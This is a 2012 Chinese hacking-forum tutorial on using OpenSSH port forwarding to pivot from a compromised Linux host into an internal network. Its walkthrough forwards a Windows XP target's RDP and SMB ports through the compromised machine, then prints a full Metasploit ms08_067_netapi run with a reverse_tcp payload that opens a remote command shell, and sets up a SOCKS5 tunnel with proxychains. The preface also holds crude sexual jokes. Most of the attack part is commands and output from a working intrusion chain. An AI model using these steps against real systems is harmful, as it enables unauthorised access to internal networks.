切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
44 插队 内网HACK OPENSSH 端口转发的利用[复制链接]
发表于 2012-8-18 00:54:56 | 显示全部楼层 |!read_mode!
前言

OPENSSH SERVER这个东西在内网入侵中的利用,前几天徒弟一枝花问我,只是简单的说了下,今天详细的讲讲
其实这个东西有很多的用处,请背诵man1-10段… 前几天教学文档的37课端口劫持也不错,秒杀SSL和SSH密匙认证,但是总的来说OPENSSH更为强大,其实端口劫持在教学文档中也只是一笔带过,以后会详细的说作用,会让你射精
其实最常用的还是SOCKS 什么的 ,去围观苍老师,腾飞老师,这个不能说 ,怕被和谐,听TM3Y这货说帝都已经封了22端口了

原理

OpenSSH 通过其加密的数据通道可以创建三种类型的端口转发,分别是本地(Local)、远程(Remote)和动态(Dynamic)。
本地(Local)


  1. ssh -N -L bind_address:bind_port:host_name:host_port username@server_address
复制代码
当上面的命令被执行后,运行在客户端的 ssh 进程先连接运行在服务器端(server_address) sshd 进程,并进行身份验证。如果验证成功了,ssh 和 sshd 之间会建立一个 TCP/IP 连接,用于传输数据,这个连接上面传输的数据是加密的。接着 ssh 会在 bind_address:bind_port 上创建一个 TCP/IP 协议的 socket 并进行侦听,当收到数据后直接通过之前建立的连接传输给服务器上的 sshd 进程, sshd 收到数据后会新建一个 socket 连接 host_name:host_port 并向其发送之前收到的数据。相反,当 sshd 收到数据后也会按类似的方式通道加密通道传输给 ssh 进程。这样通过加密通道的本地端口转发就工作起来了。
远程(Remote)
  1. ssh -N -R bind_address:bind_port:host_name:host_port username@server_address
复制代码
远程类型的端口转发和本地类型的原来是一样的,只是侦听的端口刚好相反。这种类型的端口转发是 sshd 进程创建一个 TCP/IP 协议的 socket 在 bind_address:bind_port 上侦听,而 ssh 则是在第一次收到数据后创建 socket 连接 host_name:host_port。动态(Dynamic)
  1. ssh -N -D bind_address:bind_port username@server_address
复制代码
动态类型的转发是 ssh 创建一个 socks v5 的服务并在 bind_address:bind_port 上侦听,当收到数据后,解析出需要连接的主机和端口并通道加密通道发送给 sshd,sshd 转发数据后并返回结果数据。特别的地方就在被连接的主机是通过 socks v5 进行动态确定的。这样的端口转发功能用作加密代理是不错的选择。环境目标 Windows xp2 IP 192.168.40.129 //内网
肉鸡 LINUX 192.168.40.130 // 和目标一个网段 相互访问
本地 linux 192.168.40.128 //能访问肉鸡 不能访问目标机
为了真实 我在目标机子吧本地的IP封了


PING不通的


端口转发在肉鸡上运行:ssh -l root -t -t -R 本地端口:目标IP:目标端口 本地IP
吧目标的3389端口转发到本地的1234端口
  1. root@Dis9Team:~# ssh -l root -t -t -R 1234:192.168.40.129:3389 192.168.40.128
  2. root@192.168.40.128's password:
  3. Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-generic i686)

  4. * Documentation:  https://help.ubuntu.com/

  5. 313 packages can be updated.
  6. 144 updates are security updates.

  7. New release 'oneiric' available.
  8. Run 'do-release-upgrade' to upgrade to it.

  9. You have new mail.
  10. Last login: Sun Jun  3 14:39:18 2012 from 192.168.40.130
  11. root@Dis9Team:~#
复制代码


本地查看有端口监听了木
  1. root@Dis9Team:~# netstat -antp | grep 1234
  2. tcp        0      0 127.0.0.1:1234          0.0.0.0:*               LISTEN      2127/1         
  3. tcp6       0      0 ::1:1234                :::*                    LISTEN      2127/1         
  4. root@Dis9Team:~#
复制代码


有了 连接下试试:


当然我们也能做点其他事情 转发445端口
肉鸡上运行
  1. root@Dis9Team:~# ssh -l root -t -t -R 445:192.168.40.129:445 192.168.40.128
复制代码



本地的操作:


接下来:
  1. msf  exploit(smb_relay) > use exploit/windows/smb/ms08_067_netapi
  2. msf  exploit(ms08_067_netapi) > set RHOST 127.0.0.1
  3. RHOST => 127.0.0.1
  4. msf  exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
  5. PAYLOAD => windows/shell/reverse_tcp
  6. msf  exploit(ms08_067_netapi) > set LHOST 192.168.40.128
  7. LHOST => 192.168.40.128
  8. msf  exploit(ms08_067_netapi) > set LPORT 88
  9. LPORT => 88

  10. msf  exploit(ms08_067_netapi) > set TARGET 17
  11. TARGET => 17
  12. msf  exploit(ms08_067_netapi) > exploit

  13. [*] Started reverse handler on 192.168.40.128:88
  14. [-] Exploit exception: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
  15. msf  exploit(ms08_067_netapi) > exploit

  16. [*] Started reverse handler on 192.168.40.128:88
  17. [*] Attempting to trigger the vulnerability...
  18. [*] Sending stage (240 bytes) to 192.168.40.129
  19. [*] Command shell session 1 opened (192.168.40.128:88 -> 192.168.40.129:1034) at 2012-06-03 15:03:39 -0700

  20. Microsoft Windows XP [�汾 5.1.2600]
  21. (C) ��Ȩ���� 1985-2001 Microsoft Corp.

  22. C:\WINDOWS\system32>
复制代码


隧道当然你嫌PORT转发麻烦,你还可以建立隧道的方式进行内网入侵
本地运行 :ssh -qTfnN -D 端口 user_name@肉鸡IP
  1. root@Dis9Team:~# ssh -qTfnN -D 12345 root@192.168.40.130
  2. The authenticity of host '192.168.40.130 (192.168.40.130)' can't be established.
  3. ECDSA key fingerprint is 7a:31:88:44:80:aa:a6:b6:3d:d3:f6:79:fe:2b:13:4e.
  4. Are you sure you want to continue connecting (yes/no)? yes
  5. root@192.168.40.130's password:
  6. root@Dis9Team:~#
复制代码

这样你就建立了个socks5隧道,你自己定义BASH变量代理,或者使用proxychains,我用的是proxychains,编辑配置文件/etc/proxychains.conf更改代理端口
我PING下目标机子看看 是否能通 测试:
  1. root@Dis9Team:~# proxychains ping 192.168.40.129
  2. ProxyChains-3.1 (http://proxychains.sf.net)
  3. PING 192.168.40.129 (192.168.40.129) 56(84) bytes of data.
  4. 64 bytes from 192.168.40.129: icmp_req=1 ttl=128 time=0.576 ms
  5. 64 bytes from 192.168.40.129: icmp_req=2 ttl=128 time=0.305 ms
  6. ^C
  7. --- 192.168.40.129 ping statistics ---
  8. 2 packets transmitted, 2 received, 0% packet loss, time 1001ms
  9. rtt min/avg/max/mdev = 0.305/0.440/0.576/0.137 ms
  10. root@Dis9Team:~#
复制代码

O了,扫描下看看
  1. root@Dis9Team:~# proxychains ping 192.168.40.129
复制代码



附件: 你需要登录才可以下载或查看附件。没有帐号?加入Team
操千曲而后晓声,观千剑而后识器。

代码区

GMT+8, 2020-10-2 02:17

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部